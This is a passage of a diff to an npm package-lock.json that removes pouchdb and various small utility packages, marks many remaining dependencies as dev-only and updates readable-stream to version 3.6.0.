+      "integrity": "sha512-V4aYg89jEoVRxRb2fJdAg8FHvI7cEyYdVAh94HH0UIK8oJxUfkjlDQN9RbMx+bEjP7+ggMiFRprSti032Oipxw==",
+      "dev": true
     },
     "normalize-package-data": {
       "version": "3.0.3",
@@ -8393,16 +6616,6 @@
       "integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA==",
       "dev": true
     },
-    "normalize-space-x": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npmjs.org/normalize-space-x/-/normalize-space-x-3.0.0.tgz",
-      "integrity": "sha512-tbCJerqZCCHPst4rRKgsTanLf45fjOyeAU5zE3mhDxJtFJKt66q39g2XArWhXelgTFVib8mNBUm6Wrd0LxYcfQ==",
-      "requires": {
-        "cached-constructors-x": "^1.0.0",
-        "trim-x": "^3.0.0",
-        "white-space-x": "^3.0.0"
-      }
-    },
     "npm-run-path": {
       "version": "4.0.1",
       "resolved": "https://registry.npmjs.org/npm-run-path/-/npm-run-path-4.0.1.tgz",
@@ -8412,35 +6625,6 @@
         "path-key": "^3.0.0"
       }
     },
-    "object-assign": {
-      "version": "2.1.1",
-      "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-2.1.1.tgz",
-      "integrity": "sha1-Q8NuXVaf+OSBbE76i+AtJpZ8GKo="
-    },
-    "object-get-own-property-descriptor-x": {
-      "version": "3.2.0",
-      "resolved": "https://registry.npmjs.org/object-get-own-property-descriptor-x/-/object-get-own-property-descriptor-x-3.2.0.tgz",
-      "integrity": "sha512-Z/0fIrptD9YuzN+SNK/1kxAEaBcPQM4gSrtOSMSi9eplnL/AbyQcAyAlreAoAzmBon+DQ1Z+AdhxyQSvav5Fyg==",
-      "requires": {
-        "attempt-x": "^1.1.0",
-        "has-own-property-x": "^3.1.1",
-        "has-symbol-support-x": "^1.4.1",
-        "is-falsey-x": "^1.0.0",
-        "is-index-x": "^1.0.0",
-        "is-primitive": "^2.0.0",
-        "is-string": "^1.0.4",
-        "property-is-enumerable-x": "^1.1.0",
-        "to-object-x": "^1.4.1",
-        "to-property-key-x": "^2.0.1"
-      },
-      "dependencies": {
-        "is-primitive": {
-          "version": "2.0.0",
-          "resolved": "https://registry.npmjs.org/is-primitive/-/is-primitive-2.0.0.tgz",
-          "integrity": "sha1-IHurkWOEmcB7Kt8kCkGochADRXU="
-        }
-      }
-    },
     "object-inspect": {
       "version": "1.11.0",
       "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.11.0.tgz",
@@ -8450,7 +6634,8 @@
     "object-keys": {
       "version": "1.1.1",
       "resolved": "https://registry.npmjs.org/object-keys/-/object-keys-1.1.1.tgz",
-      "integrity": "sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA=="
+      "integrity": "sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA==",
+      "dev": true
     },
     "object.assign": {
       "version": "4.1.2",
@@ -8475,17 +6660,6 @@
         "es-abstract": "^1.19.1"
       }
     },
-    "object.getownpropertydescriptors": {
-      "version": "2.1.3",
-      "resolved": "https://registry.npmjs.org/object.getownpropertydescriptors/-/object.getownpropertydescriptors-2.1.3.tgz",
-      "integrity": "sha512-VdDoCwvJI4QdC6ndjpqFmoL3/+HxffFBbcJzKi5hwLLqqx3mdbedRpfZDdK0SrOSauj8X4GzBvnDZl4vTN7dOw==",
-      "dev": true,
-      "requires": {
-        "call-bind": "^1.0.2",
-        "define-properties": "^1.1.3",
-        "es-abstract": "^1.19.1"
-      }
-    },
     "object.values": {
       "version": "1.1.5",
       "resolved": "https://registry.npmjs.org/object.values/-/object.values-1.1.5.tgz",
@@ -8510,6 +6684,7 @@
       "version": "1.4.0",
       "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz",
       "integrity": "sha1-WDsap3WWHUsROsF9nFC6753Xa9E=",
+      "dev": true,
       "requires": {
         "wrappy": "1"
       }
@@ -8605,17 +6780,6 @@
         "callsites": "^3.0.0"
       }
     },
-    "parse-int-x": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npmjs.org/parse-int-x/-/parse-int-x-2.0.0.tgz",
-      "integrity": "sha512-NIMm52gmd1+0qxJK8lV3OZ4zzWpRH1xcz9xCHXl+DNzddwUdS4NEtd7BmTeK7iCIXoaK5e6BoDMHgieH2eNIhg==",
-      "requires": {
-        "cached-constructors-x": "^1.0.0",
-        "nan-x": "^1.0.0",
-        "to-string-x": "^1.4.2",
-        "trim-left-x": "^3.0.0"
-      }
-    },
     "parse-json": {
       "version": "5.2.0",
       "resolved": "https://registry.npmjs.org/parse-json/-/parse-json-5.2.0.tgz",
@@ -8667,7 +6831,8 @@
     "path-is-absolute": {
       "version": "1.0.1",
       "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz",
-      "integrity": "sha1-F0uSaHNVNP+8es5r9TpanhtcX18="
+      "integrity": "sha1-F0uSaHNVNP+8es5r9TpanhtcX18=",
+      "dev": true
     },
     "path-key": {
       "version": "3.1.1",
@@ -8688,6 +6853,14 @@
       "dev": true,
       "requires": {
         "isarray": "0.0.1"
+      },
+      "dependencies": {
+        "isarray": {
+          "version": "0.0.1",
+          "resolved": "https://registry.npmjs.org/isarray/-/isarray-0.0.1.tgz",
+          "integrity": "sha1-ihis/Kmo9Bd+Cav8YDiTmwXR7t8=",
+          "dev": true
+        }
       }
     },
     "path-type": {
@@ -8696,12 +6869,6 @@
       "integrity": "sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw==",
       "dev": true
     },
-    "pathval": {
-      "version": "1.1.1",
-      "resolved": "https://registry.npmjs.org/pathval/-/pathval-1.1.1.tgz",
-      "integrity": "sha512-Dp6zGqpTdETdR63lehJYPeIOqpiNBNtc7BpWSLrOje7UaIsE5aY92r/AunQA7rsXvet3lrJ3JnZX29UPTKXyKQ==",
-      "dev": true
-    },
     "pend": {
       "version": "1.2.0",
       "resolved": "https://registry.npmjs.org/pend/-/pend-1.2.0.tgz",
@@ -8714,12 +6881,6 @@
       "integrity": "sha512-lY1Q/PiJGC2zOv/z391WOTD+Z02bCgsFfvxoXXf6h7kv9o+WmsmzYqrAwY63sNgOxE4xEdq0WyUnXfKeBrSvYw==",
       "dev": true
     },
-    "pify": {
-      "version": "3.0.0",
-      "resolved": "https://registry.npmjs.org/pify/-/pify-3.0.0.tgz",
-      "integrity": "sha1-5aSs0sEB/fPZpNB/DbxNtJ3SgXY=",
-      "dev": true
-    },
     "pkg-dir": {
       "version": "2.0.0",
       "resolved": "https://registry.npmjs.org/pkg-dir/-/pkg-dir-2.0.0.tgz",
@@ -8780,66 +6941,6 @@
         }
       }
     },
-    "pkg-up": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npmjs.org/pkg-up/-/pkg-up-2.0.0.tgz",
-      "integrity": "sha1-yBmscoBZpGHKscOImivjxJoATX8=",
-      "dev": true,
-      "requires": {
-        "find-up": "^2.1.0"
-      },
-      "dependencies": {
-        "find-up": {
-          "version": "2.1.0",
-          "resolved": "https://registry.npmjs.org/find-up/-/find-up-2.1.0.tgz",
-          "integrity": "sha1-RdG35QbHF93UgndaK3eSCjwMV6c=",
-          "dev": true,
-          "requires": {
-            "locate-path": "^2.0.0"
-          }
-        },
-        "locate-path": {
-          "version": "2.0.0",
-          "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-2.0.0.tgz",
-          "integrity": "sha1-K1aLJl7slExtnA3pw9u7ygNUzY4=",
-          "dev": true,
-          "requires": {
-            "p-locate": "^2.0.0",
-            "path-exists": "^3.0.0"
-          }
-        },
-        "p-limit": {
-          "version": "1.3.0",
-          "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-1.3.0.tgz",
-          "integrity": "sha512-vvcXsLAJ9Dr5rQOPk7toZQZJApBl2K4J6dANSsEuh6QI41JYcsS/qhTGa9ErIUUgK3WNQoJYvylxvjqmiqEA9Q==",
-          "dev": true,
-          "requires": {
-            "p-try": "^1.0.0"
-          }
-        },
-        "p-locate": {
-          "version": "2.0.0",
-          "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-2.0.0.tgz",
-          "integrity": "sha1-IKAQOyIqcMj9OcwuWAaA893l7EM=",
-          "dev": true,
-          "requires": {
-            "p-limit": "^1.1.0"
-          }
-        },
-        "p-try": {
-          "version": "1.0.0",
-          "resolved": "https://registry.npmjs.org/p-try/-/p-try-1.0.0.tgz",
-          "integrity": "sha1-y8ec26+P1CKOE/Yh8rGiN8GyB7M=",
-          "dev": true
-        },
-        "path-exists": {
-          "version": "3.0.0",
-          "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-3.0.0.tgz",
-          "integrity": "sha1-zg6+ql94yxiSXqfYENe1mwEP1RU=",
-          "dev": true
-        }
-      }
-    },
     "playwright": {
       "version": "1.15.2",
       "resolved": "https://registry.npmjs.org/playwright/-/playwright-1.15.2.tgz",
@@ -8862,12 +6963,6 @@
         "yazl": "^2.5.1"
       },
       "dependencies": {
-        "commander": {
-          "version": "6.2.1",
-          "resolved": "https://registry.npmjs.org/commander/-/commander-6.2.1.tgz",
-          "integrity": "sha512-U7VdrJFnJgo4xjrHpTzu0yrHPGImdsmD95ZlgYSEajAn2JKzDhDTPG9kBTefmObL2w/ngeZnilk+OV9CG3d7UA==",
-          "dev": true
-        },
         "debug": {
           "version": "4.3.2",
           "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.2.tgz",
@@ -8929,6 +7024,15 @@
             "ms": "^2.1.1"
           }
         },
+        "mkdirp": {
+          "version": "0.5.5",
+          "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.5.tgz",
+          "integrity": "sha512-NKmAlESf6jMGym1++R0Ra7wvhV+wFW63FaSOFPwRahvea0gMUcGUhVeAg/0BC0wiv9ih5NYPB1Wn1UEI1/L+xQ==",
+          "dev": true,
+          "requires": {
+            "minimist": "^1.2.5"
+          }
+        },
         "ms": {
           "version": "2.1.3",
           "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
@@ -8937,228 +7041,6 @@
         }
       }
     },
-    "pouchdb": {
-      "version": "7.2.2",
-      "resolved": "https://registry.npmjs.org/pouchdb/-/pouchdb-7.2.2.tgz",
-      "integrity": "sha512-5gf5nw5XH/2H/DJj8b0YkvG9fhA/4Jt6kL0Y8QjtztVjb1y4J19Rg4rG+fUbXu96gsUrlyIvZ3XfM0b4mogGmw==",
-      "requires": {
-        "abort-controller": "3.0.0",
-        "argsarray": "0.0.1",
-        "buffer-from": "1.1.1",
-        "clone-buffer": "1.0.0",
-        "double-ended-queue": "2.1.0-0",
-        "fetch-cookie": "0.10.1",
-        "immediate": "3.3.0",
-        "inherits": "2.0.4",
-        "level": "6.0.1",
-        "level-codec": "9.0.2",
-        "level-write-stream": "1.0.0",
-        "leveldown": "5.6.0",
-        "levelup": "4.4.0",
-        "ltgt": "2.2.1",
-        "node-fetch": "2.6.0",
-        "readable-stream": "1.1.14",
-        "spark-md5": "3.0.1",
-        "through2": "3.0.2",
-        "uuid": "8.1.0",
-        "vuvuzela": "1.0.3"
-      },
-      "dependencies": {
-        "buffer-from": {
-          "version": "1.1.1",
-          "resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.1.tgz",
-          "integrity": "sha512-MQcXEUbCKtEo7bhqEs6560Hyd4XaovZlO/k9V3hjVUF/zwW7KBVdSK4gIt/bzwS9MbR5qob+F5jusZsb0YQK2A=="
-        },
-        "immediate": {
-          "version": "3.3.0",
-          "resolved": "https://registry.npmjs.org/immediate/-/immediate-3.3.0.tgz",
-          "integrity": "sha512-HR7EVodfFUdQCTIeySw+WDRFJlPcLOJbXfwwZ7Oom6tjsvZ3bOkCDJHehQC3nxJrv7+f9XecwazynjU8e4Vw3Q=="
-        },
-        "inherits": {
-          "version": "2.0.4",
-          "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz",
-          "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ=="
-        },
-        "readable-stream": {
-          "version": "1.1.14",
-          "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-1.1.14.tgz",
-          "integrity": "sha1-fPTFTvZI44EwhMY23SB54WbAgdk=",
-          "requires": {
-            "core-util-is": "~1.0.0",
-            "inherits": "~2.0.1",
-            "isarray": "0.0.1",
-            "string_decoder": "~0.10.x"
-          }
-        },
-        "spark-md5": {
-          "version": "3.0.1",
-          "resolved": "https://registry.npmjs.org/spark-md5/-/spark-md5-3.0.1.tgz",
-          "integrity": "sha512-0tF3AGSD1ppQeuffsLDIOWlKUd3lS92tFxcsrh5Pe3ZphhnoK+oXIBTzOAThZCiuINZLvpiLH/1VS1/ANEJVig=="
-        },
-        "through2": {
-          "version": "3.0.2",
-          "resolved": "https://registry.npmjs.org/through2/-/through2-3.0.2.tgz",
-          "integrity": "sha512-enaDQ4MUyP2W6ZyT6EsMzqBPZaM/avg8iuo+l2d3QCs0J+6RaqkHV/2/lOwDTueBHeJ/2LG9lrLW3d5rWPucuQ==",
-          "requires": {
-            "inherits": "^2.0.4",
-            "readable-stream": "2 || 3"
-          },
-          "dependencies": {
-            "readable-stream": {
-              "version": "3.6.0",
-              "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz",
-              "integrity": "sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==",
-              "requires": {
-                "inherits": "^2.0.3",
-                "string_decoder": "^1.1.1",
-                "util-deprecate": "^1.0.1"
-              }
-            },
-            "string_decoder": {
-              "version": "1.3.0",
-              "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz",
-              "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==",
-              "requires": {
-                "safe-buffer": "~5.2.0"
-              }
-            }
-          }
-        },
-        "uuid": {
-          "version": "8.1.0",
-          "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.1.0.tgz",
-          "integrity": "sha512-CI18flHDznR0lq54xBycOVmphdCYnQLKn8abKn7PXUiKUGdEd+/l9LWNJmugXel4hXq7S+RMNl34ecyC9TntWg=="
-        }
-      }
-    },
-    "pouchdb-binary-utils": {
-      "version": "6.4.3",
-      "resolved": "https://registry.npmjs.org/pouchdb-binary-utils/-/pouchdb-binary-utils-6.4.3.tgz",
-      "integrity": "sha512-eRKH/1eiZwrqNdAR3CL1XIIkq04I9hHIABHwIRboz1LjBSchKmaf4ZDngiWGDvRYT9Gl/MogGDGOk1WRMoV4wg==",
-      "requires": {
-        "buffer-from": "0.1.1"
-      }
-    },
-    "pouchdb-collate": {
-      "version": "1.2.0",
-      "resolved": "https://registry.npmjs.org/pouchdb-collate/-/pouchdb-collate-1.2.0.tgz",
-      "integrity": "sha1-yuO4MPyhJLf5fSMEbk+qMR7Dgow="
-    },
-    "pouchdb-collections": {
-      "version": "6.4.3",
-      "resolved": "https://registry.npmjs.org/pouchdb-collections/-/pouchdb-collections-6.4.3.tgz",
-      "integrity": "sha512-uWb9+hvjiijeyrCeEz/FUND1oj0AQK/f166egBOTofNlAwQLNrJUTn+uJ34b3NODAmKhg7+ZeDVvnl9D2pijuQ=="
-    },
-    "pouchdb-errors": {
-      "version": "6.4.3",
-      "resolved": "https://registry.npmjs.org/pouchdb-errors/-/pouchdb-errors-6.4.3.tgz",
-      "integrity": "sha512-EU83ZZJjorwGL9DQZ9HAILY8D+ulX2RYVMtsCfIuzaIJEUrHh/dhSIy5854n42NBOUWug3gFDyO58w5k+64HTQ==",
-      "requires": {
-        "inherits": "2.0.3"
-      },
-      "dependencies": {
-        "inherits": {
-          "version": "2.0.3",
-          "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.3.tgz",
-          "integrity": "sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4="
-        }
-      }
-    },
-    "pouchdb-extend": {
-      "version": "0.1.2",
-      "resolved": "https://registry.npmjs.org/pouchdb-extend/-/pouchdb-extend-0.1.2.tgz",
-      "integrity": "sha1-0c5RG/cE7S4p979CikFqz/+hJLg="
-    },
-    "pouchdb-mapreduce-utils": {
-      "version": "6.4.3",
-      "resolved": "https://registry.npmjs.org/pouchdb-mapreduce-utils/-/pouchdb-mapreduce-utils-6.4.3.tgz",
-      "integrity": "sha512-gbxX6h+nOKPDv2eYZznUthHiZ1Ml1xViE8DalEy6+fPzCba6CZ6dTKGZoFrBg4oLF3Wc+cUNX9Uk8cezVMGOhA==",
-      "requires": {
-        "argsarray": "0.0.1",
-        "inherits": "2.0.3",
-        "pouchdb-collections": "6.4.3",
-        "pouchdb-utils": "6.4.3"
-      },
-      "dependencies": {
-        "inherits": {
-          "version": "2.0.3",
-          "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.3.tgz",
-          "integrity": "sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4="
-        }
-      }
-    },
-    "pouchdb-md5": {
-      "version": "6.4.3",
-      "resolved": "https://registry.npmjs.org/pouchdb-md5/-/pouchdb-md5-6.4.3.tgz",
-      "integrity": "sha512-EnToEO+JLJA5bHDYWs42B8hU9Q1TckVozQjTSXL/pDXKXLATuVEKHNq8F/4lrpxblpngx4Zt8z2Luwu0etLSqw==",
-      "requires": {
-        "pouchdb-binary-utils": "6.4.3",
-        "spark-md5": "3.0.0"
-      },
-      "dependencies": {
-        "spark-md5": {
-          "version": "3.0.0",
-          "resolved": "https://registry.npmjs.org/spark-md5/-/spark-md5-3.0.0.tgz",
-          "integrity": "sha1-NyIifFTi+vJLHcbZM8wUTm9xv+8="
-        }
-      }
-    },
-    "pouchdb-promise": {
-      "version": "5.4.4",
-      "resolved": "https://registry.npmjs.org/pouchdb-promise/-/pouchdb-promise-5.4.4.tgz",
-      "integrity": "sha1-3SigRxl+Ent+33m5yje7xC8EZmU=",
-      "requires": {
-        "lie": "3.0.4"
-      },
-      "dependencies": {
-        "lie": {
-          "version": "3.0.4",
-          "resolved": "https://registry.npmjs.org/lie/-/lie-3.0.4.tgz",
-          "integrity": "sha1-vHrh6+fxyN45r9zU94kHa0ew9jQ=",
-          "requires": {
-            "es3ify": "^0.2.2",
-            "immediate": "~3.0.5",
-            "inline-process-browser": "^1.0.0",
-            "unreachable-branch-transform": "^0.3.0"
-          }
-        }
-      }
-    },
-    "pouchdb-utils": {
-      "version": "6.4.3",
-      "resolved": "https://registry.npmjs.org/pouchdb-utils/-/pouchdb-utils-6.4.3.tgz",
-      "integrity": "sha512-22QXh743YXl/afheeumrUKsO/0Q4Q8bvoboFp/1quXq//BDJa9nv55WUZX0l05t3VPW+nD/pse2FzU9cs3nEag==",
-      "requires": {
-        "argsarray": "0.0.1",
-        "clone-buffer": "1.0.0",
-        "immediate": "3.0.6",
-        "inherits": "2.0.3",
-        "pouchdb-collections": "6.4.3",
-        "pouchdb-errors": "6.4.3",
-        "pouchdb-promise": "6.4.3",
-        "uuid": "3.2.1"
-      },
-      "dependencies": {
-        "inherits": {
-          "version": "2.0.3",
-          "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.3.tgz",
-          "integrity": "sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4="
-        },
-        "pouchdb-promise": {
-          "version": "6.4.3",
-          "resolved": "https://registry.npmjs.org/pouchdb-promise/-/pouchdb-promise-6.4.3.tgz",
-          "integrity": "sha512-ruJaSFXwzsxRHQfwNHjQfsj58LBOY1RzGzde4PM5CWINZwFjCQAhZwfMrch2o/0oZT6d+Xtt0HTWhq35p3b0qw==",
-          "requires": {
-            "lie": "3.1.1"
-          }
-        },
-        "uuid": {
-          "version": "3.2.1",
-          "resolved": "https://registry.npmjs.org/uuid/-/uuid-3.2.1.tgz",
-          "integrity": "sha512-jZnMwlb9Iku/O3smGWvZhauCf6cvvpKi4BKRiliS3cxnI+Gz9j5MEpTz2UFuXiKPJocb7gnsLHwiS05ige5BEA=="
-        }
-      }
-    },
     "prelude-ls": {
       "version": "1.2.1",
       "resolved": "https://registry.npmjs.org/prelude-ls/-/prelude-ls-1.2.1.tgz",
@@ -9170,11 +7052,6 @@
       "resolved": "https://registry.npmjs.org/prismjs/-/prismjs-1.25.0.tgz",
       "integrity": "sha512-WCjJHl1KEWbnkQom1+SzftbtXMKQoezOCYs5rECqMN+jP+apI7ftoflyqigqzopSO3hMhTEb0mFClA8lkolgEg=="
     },
-    "private": {
-      "version": "0.1.8",
-      "resolved": "https://registry.npmjs.org/private/-/private-0.1.8.tgz",
-      "integrity": "sha512-VvivMrbvd2nKkiG38qjULzlc+4Vx4wm/whI9pQD35YrARNnhxeiRktSOhSukRLFNlzg6Br/cJPet5J/u19r/mg=="
-    },
     "process-nextick-args": {
       "version": "2.0.1",
       "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz",
@@ -9204,31 +7081,12 @@
         "signal-exit": "^3.0.2"
       }
     },
-    "property-is-enumerable-x": {
-      "version": "1.1.0",
-      "resolved": "https://registry.npmjs.org/property-is-enumerable-x/-/property-is-enumerable-x-1.1.0.tgz",
-      "integrity": "sha512-22cKy3w3OpRswU6to9iKWDDlg+F9vF2REcwGlGW23jyLjHb1U/jJEWA44sWupOnkhGfDgotU6Lw+N2oyhNi+5A==",
-      "requires": {
-        "to-object-x": "^1.4.1",
-        "to-property-key-x": "^2.0.1"
-      }
-    },
     "proxy-from-env": {
       "version": "1.1.0",
       "resolved": "https://registry.npmjs.org/proxy-from-env/-/proxy-from-env-1.1.0.tgz",
       "integrity": "sha512-D+zkORCbA9f1tdWRK0RaCR3GPv50cMxcrz4X8k5LTSUD1Dkw47mKJEZQNunItRTkWwgtaUSo1RVFRIG9ZXiFYg==",
       "dev": true
     },
-    "prr": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npmjs.org/prr/-/prr-1.0.1.tgz",
-      "integrity": "sha1-0/wRS6BplaRexok/SEzrHXj19HY="
-    },
-    "psl": {
-      "version": "1.8.0",
-      "resolved": "https://registry.npmjs.org/psl/-/psl-1.8.0.tgz",
-      "integrity": "sha512-RIdOzyoavK+hA18OGGWDqUTsCLhtA7IcZ/6NCs4fFJaHBDab+pDDmDIByWFRQJq2Cd7r1OoQxBGKOaztq+hjIQ=="
-    },
     "pump": {
       "version": "3.0.0",
       "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.0.tgz",
@@ -9242,7 +7100,8 @@
     "punycode": {
       "version": "2.1.1",
       "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.1.1.tgz",
-      "integrity": "sha512-XRsRjdf+j5ml+y/6GKHPZbrF/8p2Yga0JPtdqTIY2Xe5ohJPD9saDJJLPvp9+NSBprVvevdXZybnj2cv8OEd0A=="
+      "integrity": "sha512-XRsRjdf+j5ml+y/6GKHPZbrF/8p2Yga0JPtdqTIY2Xe5ohJPD9saDJJLPvp9+NSBprVvevdXZybnj2cv8OEd0A==",
+      "dev": true
     },
     "puppeteer-core": {
       "version": "10.4.0",
@@ -9279,12 +7138,6 @@
           "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==",
           "dev": true
         },
-        "node-fetch": {
-          "version": "2.6.1",
-          "resolved": "https://registry.npmjs.org/node-fetch/-/node-fetch-2.6.1.tgz",
-          "integrity": "sha512-V4aYg89jEoVRxRb2fJdAg8FHvI7cEyYdVAh94HH0UIK8oJxUfkjlDQN9RbMx+bEjP7+ggMiFRprSti032Oipxw==",
-          "dev": true
-        },
         "pkg-dir": {
           "version": "4.2.0",
           "resolved": "https://registry.npmjs.org/pkg-dir/-/pkg-dir-4.2.0.tgz",
@@ -9311,7 +7164,8 @@
     "q": {
       "version": "1.5.1",
       "resolved": "https://registry.npmjs.org/q/-/q-1.5.1.tgz",
-      "integrity": "sha1-fjL3W0E4EpHQRhHxvxQQmsAGUdc="
+      "integrity": "sha1-fjL3W0E4EpHQRhHxvxQQmsAGUdc=",
+      "dev": true
     },
     "qs": {
       "version": "6.10.1",
@@ -9365,12 +7219,6 @@
             "toidentifier": "1.0.0"
           }
         },
-        "inherits": {
-          "version": "2.0.4",
-          "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz",
-          "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==",
-          "dev": true
-        },
         "setprototypeof": {
           "version": "1.1.1",
           "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.1.1.tgz",
@@ -9619,14 +7467,14 @@
       }
     },
     "readable-stream": {
-      "version": "1.0.34",
-      "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-1.0.34.tgz",
-      "integrity": "sha1-Elgg40vIQtLyqq+v5MKRbuMsFXw=",
+      "version": "3.6.0",
+      "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz",
+      "integrity": "sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==",
+      "dev": true,
       "requires": {
-        "core-util-is": "~1.0.0",
-        "inherits": "~2.0.1",
-        "isarray": "0.0.1",
-        "string_decoder": "~0.10.x"
+        "inherits": "^2.0.3",
+        "string_decoder": "^1.1.1",
+        "util-deprecate": "^1.0.1"
       }
     },
     "readable-stream-node-to-web": {
@@ -9642,34 +7490,6 @@
       "dev": true,
       "requires": {
         "readable-stream": "^3.6.0"
-      },
-      "dependencies": {
-        "inherits": {
-          "version": "2.0.4",
-          "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz",
-          "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==",
-          "dev": true
-        },
-        "readable-stream": {
-          "version": "3.6.0",
-          "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz",
-          "integrity": "sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==",
-          "dev": true,
-          "requires": {
-            "inherits": "^2.0.3",
-            "string_decoder": "^1.1.1",
-            "util-deprecate": "^1.0.1"
-          }
-        },
-        "string_decoder": {
-          "version": "1.3.0",
-          "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz",
-          "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==",
-          "dev": true,
-          "requires": {
-            "safe-buffer": "~5.2.0"
-          }
-        }
       }
     },
     "readdirp": {
@@ -9681,29 +7501,6 @@
         "picomatch": "^2.2.1"
       }
     },
-    "recast": {
-      "version": "0.11.23",
-      "resolved": "https://registry.npmjs.org/recast/-/recast-0.11.23.tgz",
-      "integrity": "sha1-RR/TAEqx5N+bTktmN2sqIZEkYtM=",
-      "requires": {
-        "ast-types": "0.9.6",
-        "esprima": "~3.1.0",
-        "private": "~0.1.5",
-        "source-map": "~0.5.0"
-      },
-      "dependencies": {
-        "esprima": {
-          "version": "3.1.3",
-          "resolved": "https://registry.npmjs.org/esprima/-/esprima-3.1.3.tgz",
-          "integrity": "sha1-/cpRzuYTOJXjyI1TXOSdv/YqRjM="
-        },
-        "source-map": {
-          "version": "0.5.7",
-          "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.5.7.tgz",
-          "integrity": "sha1-igOdLRAh0i0eoUyA2OpGi6LvP8w="
-        }
-      }
-    },
     "redent": {
       "version": "3.0.0",
       "resolved": "https://registry.npmjs.org/redent/-/redent-3.0.0.tgz",
@@ -9738,24 +7535,6 @@
       "integrity": "sha512-Xw5/Zx6iWSCMJUXwXVOjySjH8Xli4hVFL9QQFvkl1qEmFBG94J+QUI9emnoctOCD3285f1jNV+QWV9eDYwIdfQ==",
       "dev": true
     },
-    "replace-comments-x": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npmjs.org/replace-comments-x/-/replace-comments-x-2.0.0.tgz",
-      "integrity": "sha512-+vMP4jqU+8HboLWms6YMNEiaZG5hh1oR6ENCnGYDF/UQ7aYiJUK/8tcl3+KZAHRCKKa3gqzrfiarlUBHQSgRlg==",
-      "requires": {
-        "require-coercible-to-string-x": "^1.0.0",
-        "to-string-x": "^1.4.2"
-      }
-    },
-    "require-coercible-to-string-x": {
-      "version": "1.0.2",
-      "resolved": "https://registry.npmjs.org/require-coercible-to-string-x/-/require-coercible-to-string-x-1.0.2.tgz",
-      "integrity": "sha512-GZ3BSCL0n/zhho8ITganW9FGPh0Kxhq71nCjck8Qau/30Wf4Po8a3XpQdzEMFiXCwZ/0m0E3lKSdSG8gkcIofQ==",
-      "requires": {
-        "require-object-coercible-x": "^1.4.3",
-        "to-string-x": "^1.4.5"
